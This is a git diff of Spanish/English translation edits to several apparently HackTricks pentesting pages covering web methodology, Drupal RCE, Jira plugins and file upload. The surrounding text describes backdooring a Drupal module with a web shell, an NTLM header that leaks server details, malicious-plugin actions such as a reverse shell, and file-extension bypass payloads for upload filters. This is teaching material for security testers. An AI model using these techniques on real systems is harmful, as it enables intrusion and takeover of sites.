 * [ ] Lanza **escáneres de propósito general**. Nunca sabes si van a encontrar algo o si van a encontrar información interesante.
-* [ ] Comienza con las **verificaciones iniciales**: **robots**, **sitemap**, error **404** y **escaneo SSL/TLS** (si es HTTPS).
+* [ ] Comienza con los **chequeos iniciales**: **robots**, **sitemap**, error **404** y **escaneo SSL/TLS** (si es HTTPS).
 * [ ] Comienza a **spidering** la página web: Es hora de **encontrar** todos los posibles **archivos, carpetas** y **parámetros utilizados.** Además, verifica si hay **hallazgos especiales**.
 * [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser spidered._
 * [ ] **Brute-Forcing de directorios**: Intenta forzar todos los directorios descubiertos buscando nuevos **archivos** y **directorios**.
@@ -124,12 +124,12 @@ Si la aplicación web está utilizando alguna **tecnología/plataforma bien cono
 
 Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **su cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**:
 
-* ¿Hay un **Change-log o Readme o archivo de versión** o algo con **información de versión accesible** a través de la web?
+* ¿Hay un **Change-log o Readme o Version** o algo con **información de versión accesible** a través de la web?
 * ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún (¿accesible?) **archivo** con credenciales (nombres de usuario o contraseñas)?
 * ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hash** se utiliza?
 * ¿Se está utilizando alguna **clave maestra** para encriptar algo? ¿Qué **algoritmo** se utiliza?
 * ¿Puede **acceder a alguno de estos archivos** explotando alguna vulnerabilidad?
-* ¿Hay alguna **información interesante en el github** (problemas **resueltos y no resueltos**)? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un antiguo commit**)?
+* ¿Hay alguna **información interesante en el github** (problemas **resueltos y no resueltos**)? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un viejo commit**)?
 
 {% content-ref url="code-review-tools.md" %}
 [code-review-tools.md](code-review-tools.md)
@@ -186,7 +186,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 Los servidores web pueden **comportarse de manera inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**.
 
 * Accede a **páginas falsas** como /whatever\_fake.php (.aspx,.html,.etc)
-* **Agrega "\[]", "]]" y "\[\["** en los **valores de cookie** y los **valores de parámetro** para crear errores
+* **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y los **valores de parámetros** para crear errores
 * Genera un error dando entrada como **`/~randomthing/%s`** al **final** de la **URL**
 * Prueba **diferentes verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE
 
@@ -195,7 +195,7 @@ Los servidores web pueden **comportarse de manera inesperada** cuando se les env
 Si descubres que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz, intenta:
 
 * **Fuerza Bruta** de credenciales
-* **Sube archivos** a través de WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
+* **Sube archivos** a través de WebDav al **resto** de **las carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
 
 ### **Vulnerabilidades SSL/TLS**
 
@@ -218,18 +218,18 @@ Información sobre vulnerabilidades de SSL/TLS:
 
 ### Spidering
 
-Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar tantos caminos como sea posible** desde la aplicación probada. Por lo tanto, se deben utilizar la exploración web y fuentes externas para encontrar tantos caminos válidos como sea posible.
+Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** desde la aplicación probada. Por lo tanto, se deben utilizar rastreo web y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.
 
 * [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HML, con LinkFinder para archivos JS y Archive.org como fuente externa.
 * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, también indica "archivos jugosos".
 * [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interactivo CLI. También busca en Archive.org.
-* [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider, pero puede ser útil. Solo puedes indicar un archivo con hosts y un archivo con caminos y meg obtendrá cada camino en cada host y guardará la respuesta.
+* [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider, pero puede ser útil. Solo puedes indicar un archivo con hosts y un archivo con rutas y meg obtendrá cada ruta en cada host y guardará la respuesta.
 * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacidades de renderizado JS. Sin embargo, parece que no está mantenido, la versión precompilada es antigua y el código actual no compila.
 * [**gau**](https://github.com/lc/gau) (go): Spider HTML que utiliza proveedores externos (wayback, otx, commoncrawl).
 * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará.
 * [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacidades de renderizado JS.
-* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento de JS capaz de buscar nuevos caminos en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
+* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
 * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el código fuente HTML como en archivos javascript incrustados. Útil para cazadores de bugs, equipos rojos, ninjas de infosec.
 * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no está mantenido.
 * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs de él utilizando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos feos (minificados).
@@ -237,20 +237,20 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
 * [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS.
 * [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador sin cabeza e imprime todas las URLs cargadas para cargar la página.
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido que mezcla varias opciones de las herramientas anteriores.
-* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar caminos y parámetros en archivos JS.
+* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar rutas y parámetros en archivos JS.
 * [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te proporcionará el código JS embellecido.
 * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir endpoints para un objetivo dado.
 * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina Wayback (también descargando las respuestas en Wayback y buscando más enlaces).
 * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso llenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas.
-* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado Crawler/Spider de seguridad web con múltiples funciones diseñado para profesionales de ciberseguridad.
-* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, caminos, secretos y otros datos interesantes del código fuente de JavaScript.
+* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un rastreador/spider de seguridad web GUI avanzado con múltiples funciones diseñado para profesionales de ciberseguridad.
+* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript.
 * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **extensión de Burp Suite** para **extraer los parámetros y endpoints** de la solicitud para crear listas de palabras personalizadas para fuzzing y enumeración.
 * [**katana**](https://github.com/projectdiscovery/katana) (go): Herramienta impresionante para esto.
 * [**Crawley**](https://github.com/s0rg/crawley) (go): Imprime cada enlace que puede encontrar.
 
 ### Fuerza Bruta de directorios y archivos
 
-Comienza **fuerza bruta** desde la carpeta raíz y asegúrate de hacer fuerza bruta a **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta **recursivamente** y añadiendo al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\
+Comienza **fuerza bruta** desde la carpeta raíz y asegúrate de hacer fuerza bruta en **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta **recursivamente** y agregando al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\
 Herramientas:
 
 * **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento en comparación con las otras opciones.
@@ -259,7 +259,7 @@ Herramientas:
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, soporta búsqueda recursiva.**
 * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 * [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-* [**uro**](https://github.com/s0md3v/uro) (python): Esta no es un spider, sino una herramienta que dado el listado de URLs encontradas eliminará URLs "duplicadas".
+* [**uro**](https://github.com/s0md3v/uro) (python): Este no es un spider, sino una herramienta que dado el listado de URLs encontradas eliminará URLs "duplicadas".
 * [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Extensión de Burp para crear una lista de directorios a partir del historial de burp de diferentes páginas.
 * [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Elimina URLs con funcionalidades duplicadas (basado en importaciones de js).
 * [**Chamaleon**](https://github.com/iustin24/chameleon): Utiliza wapalyzer para detectar tecnologías utilizadas y seleccionar las listas de palabras a usar.
@@ -267,9 +267,9 @@ Herramientas:
 **Diccionarios recomendados:**
 
 * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
-* [**Dirsearch** diccionario incluido](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
+* [**Diccionario incluido de Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
 * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
-* [Assetnote wordlists](https://wordlists.assetnote.io)
+* [Listas de palabras de Assetnote](https://wordlists.assetnote.io)
 * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
 * raft-large-directories-lowercase.txt
 * directory-list-2.3-medium.txt
@@ -302,7 +302,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 
 ### Hallazgos especiales
 
-**Mientras** realizas el **spidering** y **fuerza bruta** podrías encontrar **cosas interesantes** que debes **notar**.
+**Mientras** realizas el **spidering** y **fuerza bruta** podrías encontrar **cosas** **interesantes** que debes **notar**.
 
 **Archivos interesantes**
 
@@ -310,10 +310,10 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 * [Si encuentras un archivo _**.git**_ se puede extraer información](git.md).
 * Si encuentras un _**.env**_ se pueden encontrar información como claves API, contraseñas de bases de datos y otra información.
 * Si encuentras **endpoints API** [también deberías probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán como" ellos.
-* **Archivos JS**: En la sección de spidering se mencionaron varias herramientas que pueden extraer caminos de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
+* **Archivos JS**: En la sección de spidering se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
 * También deberías verificar los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para encontrar si es vulnerable.
 * **Desofuscador y desempaquetador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
-* **Embellecedor de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
+* **Beautificador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
 * **Desofuscación de JsFuck** (javascript con caracteres:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
 * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 * En varias ocasiones necesitarás **entender expresiones regulares** utilizadas, esto será útil: [https://regex101.com/](https://regex101.com).
@@ -331,7 +331,7 @@ Si alguna página **responde** con ese **código**, probablemente sea un **proxy
 
 **Autenticación NTLM - Divulgación de información**
 
-Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión que pide tus **credenciales** (y solicita el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\
+Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión que pide tus **credenciales** (y solicita el **nombre de dominio**), puedes provocar una **divulgación de información**.\
 **Envía** el **encabezado**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del encabezado "WWW-Authenticate".\
 Puedes **automatizar** esto utilizando el **plugin de nmap** "_http-ntlm-info.nse_".
 
@@ -339,7 +339,7 @@ Puedes **automatizar** esto utilizando el **plugin de nmap** "_http-ntlm-info.ns
 
 Es posible **poner contenido** dentro de una **Redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí.
 
-### Verificación de Vulnerabilidades Web
+### Verificación de vulnerabilidades web
 
 Ahora que se ha realizado una enumeración completa de la aplicación web, es hora de verificar muchas posibles vulnerabilidades. Puedes encontrar la lista de verificación aquí:
 
@@ -353,17 +353,17 @@ Encuentra más información sobre vulnerabilidades web en:
 * [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
 * [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
 
-### Monitorear Páginas para cambios
+### Monitorear páginas para cambios
 
 Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorear páginas por modificaciones que podrían insertar vulnerabilidades.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
+Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
-### Comandos Automáticos de HackTricks
+### Comandos automáticos de HackTricks
 ```
 Protocol_Name: Web    #Protocol Abbreviation if there is one.
 Port_Number:  80,443     #Comma separated if there is more than one.

network-services-pentesting/pentesting-web/drupal/drupal-rce.md

@@ -55,7 +55,7 @@ A partir de la versión **8 en adelante, el** [**PHP Filter**](https://www.drupa
 En las versiones actuales, ya no es posible instalar plugins solo teniendo acceso a la web después de la instalación predeterminada.
 {% endhint %}
 
-Un módulo con puerta trasera se puede crear **agregando un shell a un módulo existente**. Los módulos se pueden encontrar en el sitio web drupal.org. Elijamos un módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Desplácese hacia abajo y copie el enlace del [archivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) tar.gz.
+Un módulo con puerta trasera puede ser creado **agregando un shell a un módulo existente**. Los módulos se pueden encontrar en el sitio web drupal.org. Elijamos un módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Desplácese hacia abajo y copie el enlace del [archivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) tar.gz.
 
 * Descargue el archivo y extraiga su contenido.
 ```
@@ -80,7 +80,7 @@ RewriteBase /
 mv shell.php .htaccess captcha
 tar cvf captcha.tar.gz captcha/
 ```
-* Asumiendo que tenemos **acceso administrativo** al sitio web, haga clic en **`Manage`** y luego en **`Extend`** en la barra lateral. A continuación, haga clic en el botón **`+ Install new module`**, y seremos llevados a la página de instalación, como `http://drupal-site.local/admin/modules/install`. Navegue hasta el archivo comprimido de Captcha con puerta trasera y haga clic en **`Install`**.
+* Suponiendo que tenemos **acceso administrativo** al sitio web, haga clic en **`Manage`** y luego en **`Extend`** en la barra lateral. A continuación, haga clic en el botón **`+ Install new module`**, y seremos llevados a la página de instalación, como `http://drupal-site.local/admin/modules/install`. Navegue hasta el archivo comprimido de Captcha con puerta trasera y haga clic en **`Install`**.
 * Una vez que la instalación sea exitosa, navegue a **`/modules/captcha/shell.php`** para ejecutar comandos.
 
 ## Backdooring Drupal con sincronización de configuración <a href="#backdooring-drupal" id="backdooring-drupal"></a>
@@ -89,7 +89,7 @@ tar cvf captcha.tar.gz captcha/
 
 ### Parte 1 (activación de _Media_ y _Media Library_)
 
-En el menú _Extend_ (/admin/modules), puede activar lo que parecen ser plugins ya instalados. Por defecto, los plugins _Media_ y _Media Library_ no parecen estar activados, así que activémoslos.
+En el menú _Extend_ (/admin/modules), puede activar lo que parecen ser complementos ya instalados. Por defecto, los complementos _Media_ y _Media Library_ no parecen estar activados, así que activémoslos.
 
 Antes de la activación:
 
@@ -97,7 +97,7 @@ Antes de la activación:
 
 Después de la activación:
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 <figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 

network-services-pentesting/pentesting-web/jira.md

@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
 
 En Jira, **los privilegios pueden ser verificados** por cualquier usuario, autenticado o no, a través de los endpoints `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Estos endpoints revelan los privilegios actuales del usuario. Una preocupación notable surge cuando **los usuarios no autenticados tienen privilegios**, lo que indica una **vulnerabilidad de seguridad** que podría ser elegible para un **bounty**. De manera similar, **privilegios inesperados para usuarios autenticados** también destacan una **vulnerabilidad**.
 
-Una **actualización** importante se realizó el **1 de febrero de 2019**, requiriendo que el endpoint 'mypermissions' incluya un **'parámetro de permiso'**. Este requisito tiene como objetivo **mejorar la seguridad** al especificar los privilegios que se están consultando: [consúltalo aquí](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+Una **actualización** importante se realizó el **1 de febrero de 2019**, requiriendo que el endpoint 'mypermissions' incluya un **'parámetro de permiso'**. Este requisito tiene como objetivo **mejorar la seguridad** al especificar los privilegios que se están consultando: [ver aquí](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
 
 * ADD\_COMMENTS
 * ADMINISTER
@@ -81,7 +81,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
 
 ## Plugins de Atlassian
 
-Como se indica en este [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins), en la documentación sobre [Módulos de plugin ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) es posible verificar los diferentes tipos de plugins, como:
+Como se indica en este [**blog**](https://cyllective.com/blog/posts/atlassian-audit-plugins), en la documentación sobre [Módulos de plugins ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) es posible verificar los diferentes tipos de plugins, como:
 
 * [Módulo de Plugin REST ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Expone puntos finales de API RESTful
 * [Módulo de Plugin Servlet ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Despliega servlets de Java como parte de un plugin
@@ -112,7 +112,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
 public OutputType getOutputType() { return OutputType.BLOCK; }
 }
 ```
-Es posible observar que estos plugins podrían ser vulnerables a vulnerabilidades web comunes como XSS. Por ejemplo, el ejemplo anterior es vulnerable porque está reflejando datos proporcionados por el usuario.&#x20;
+Es posible observar que estos plugins podrían ser vulnerables a vulnerabilidades web comunes como XSS. Por ejemplo, el ejemplo anterior es vulnerable porque refleja datos proporcionados por el usuario.&#x20;
 
 Una vez que se encuentra un XSS, en [**este repositorio de github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) puedes encontrar algunos payloads para aumentar el impacto del XSS.
 
@@ -129,7 +129,7 @@ Estas son algunas de las acciones que un plugin malicioso podría realizar:
 * **Shell inverso**: O conseguir un shell inverso.
 * **Proxy de DOM**: Si el confluence está dentro de una red privada, sería posible establecer una conexión a través del navegador de algún usuario con acceso a él y, por ejemplo, contactar al servidor ejecutando comandos a través de él.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en **una carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

pentesting-web/file-upload/README.md

@@ -1,32 +1,32 @@
-# Carga de Archivos
+# File Upload
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Apoya a HackTricks</summary>
+<summary>Support HackTricks</summary>
 
-* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
+If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
-## Metodología General de Carga de Archivos
+## File Upload General Methodology
 
-Otras extensiones útiles:
+Other useful extensions:
 
 * **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
-* **Trabajando en PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
+* **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
 * **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 * **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 * **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@@ -34,13 +34,13 @@ Otras extensiones útiles:
 * **Perl**: _.pl, .cgi_
 * **Erlang Yaws Web Server**: _.yaws_
 
-### Bypass de comprobaciones de extensiones de archivos
+### Bypass file extensions checks
 
-1. Si aplican, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
-2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
+1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
+2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
 * _file.png.php_
 * _file.png.Php5_
-3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
+3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
 * _file.php%20_
 * _file.php%0a_
 * _file.php%00_
@@ -50,7 +50,7 @@ Otras extensiones útiles:
 * _file._
 * _file.php...._
 * _file.pHp5...._
-4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga._
+4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
 * _file.png.php_
 * _file.png.pHp5_
 * _file.php#.png_
@@ -59,75 +59,75 @@ Otras extensiones útiles:
 * _file.php%0a.png_
 * _file.php%0d%0a.png_
 * _file.phpJunk123png_
-5. Agrega **otra capa de extensiones** a la verificación anterior:
+5. Add **another layer of extensions** to the previous check:
 * _file.png.jpg.php_
 * _file.php%00.png%00.jpg_
